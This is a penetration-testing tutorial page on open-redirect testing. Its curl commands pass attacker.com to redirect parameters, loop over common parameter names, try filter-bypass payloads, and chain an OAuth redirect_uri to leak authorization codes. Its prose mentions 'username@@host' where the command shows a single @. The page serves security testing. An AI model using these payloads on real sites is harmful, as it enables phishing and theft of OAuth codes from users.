Skip to content
HackIndex logo

HackIndex

Open Redirect Testing

3 min read Mar 28, 2026

Open redirects forward users to attacker-controlled URLs through a trusted domain. While lower impact than injection vulnerabilities, open redirects are used to craft convincing phishing URLs, bypass OAuth redirect_uri restrictions, and chain with SSRF when the server follows redirects. Detection confirms the application forwards to external URLs without validation.

Look for parameters named redirect, url, next, return, returnUrl, goto, dest, destination, or continue. These appear frequently on login pages, logout handlers, and post-action redirects found during parameter crawling.

Basic External Redirect Test

Supply an external URL in the redirect parameter and check whether the server redirects there:

┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP:$PORT/login?redirect=https://attacker.com" | grep -i location 
location: https://attacker.com
┌──(kali㉿kali)-[~]
└─$ curl -skIL "http://$TARGET_IP:$PORT/logout?next=https://attacker.com" | grep -iE 'location|attacker'

A Location header pointing to attacker.com confirms an open redirect. Note the HTTP status code — 301 and 302 are both open redirects. A 200 with the redirect URL in the body but no Location header means it's a JavaScript redirect, still exploitable through a browser.

Common Parameter Names

Test the most common redirect parameter names against the login, logout, and post-auth endpoints:

┌──(kali㉿kali)-[~]
└─$ for param in redirect url next return returnUrl goto dest destination return_to continue r redir; do code=$(curl -skI "http://$TARGET_IP:$PORT/login?${param}=https://attacker.com" | grep -i location | grep -c attacker); echo "$param: $code"; done 
redirect: 0
url: 0
next: 1
return: 0
returnUrl: 0

Filter Bypass Variants

Applications that check for external URLs often use simple validation that can be bypassed:

┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP:$PORT/login?next=//attacker.com" | grep -i location
┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP:$PORT/login?next=https://attacker.com%2F%2F$DOMAIN" | grep -i location
┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP:$PORT/login?next=https://$DOMAIN@attacker.com" | grep -i location
┌──(kali㉿kali)-[~]
└─$ curl -skI "http://$TARGET_IP:$PORT/login?next=%2F%2Fattacker.com" | grep -i location

Protocol-relative URLs like //attacker.com bypass checks that look for http:// but are treated as full URLs by browsers. The username@@host trick fools validators that check whether the domain is present — the domain appears to be a username while the actual destination is attacker.com.

OAuth redirect_uri Abuse

Open redirects on OAuth callback endpoints allow stealing authorization codes. If an open redirect exists on the same domain as the registered redirect_uri, it can be used to redirect the code to an attacker-controlled server:

┌──(kali㉿kali)-[~]
└─$ curl -skI "https://$DOMAIN/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://$DOMAIN/login?next=https://attacker.com&response_type=code" | grep -i location

References